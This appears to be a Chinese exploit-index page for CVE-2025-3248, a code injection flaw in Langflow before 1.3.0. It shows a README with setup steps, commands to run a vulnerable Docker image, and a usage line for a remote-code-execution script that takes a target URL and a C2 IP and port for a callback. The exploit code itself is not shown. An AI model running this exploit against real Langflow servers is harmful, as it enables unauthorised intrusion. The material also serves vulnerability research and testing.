关联漏洞
标题:Langflow 安全漏洞 (CVE-2025-3248)描述:Langflow是Langflow开源的一个用于构建多代理和 RAG 应用程序的可视化框架。 Langflow 1.3.0之前版本存在安全漏洞,该漏洞源于/api/v1/validate/code端点存在代码注入漏洞,可能导致远程未经验证的攻击者执行任意代码。
描述
PoC for achieving RCE in Langflow versions <1.3.0
介绍
# CVE-2025-3248
## Introduction
Langflow versions prior to 1.3.0 are susceptible to unauthenticated code injection in the /api/v1/validate/code endpoint via Python exec() function.
## Usage
### Configuration
```
git clone https://github.com/wand3rlust/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
pip install -r requirements.txt
```
### Vuln App
```
docker pull langflowai/langflow:1.1.4
docker run -p 7860:7860 langflowai/langflow:1.1.4
```
### Run
```
python3 cve-2025-3248.py <TARGET_URL> <C2_IP> <C2_PORT>
```
E.g.: `python3 cve-2025-3248.py http://10.10.10.1:7860 10.0.13.37 1337`
## References
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-3248
- GitHub: https://github.com/langflow-ai/langflow/security/advisories/GHSA-rvqx-wpfh-mfx7
- Original Exploit: https://www.exploit-db.com/exploits/52262
文件快照
[4.0K] /data/pocs/787f60cee16c1caa59896b01e826ec13546310d1
├── [2.3K] cve-2025-3248.py
├── [1.0K] LICENSE
├── [ 831] README.md
└── [ 87] requirements.txt
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。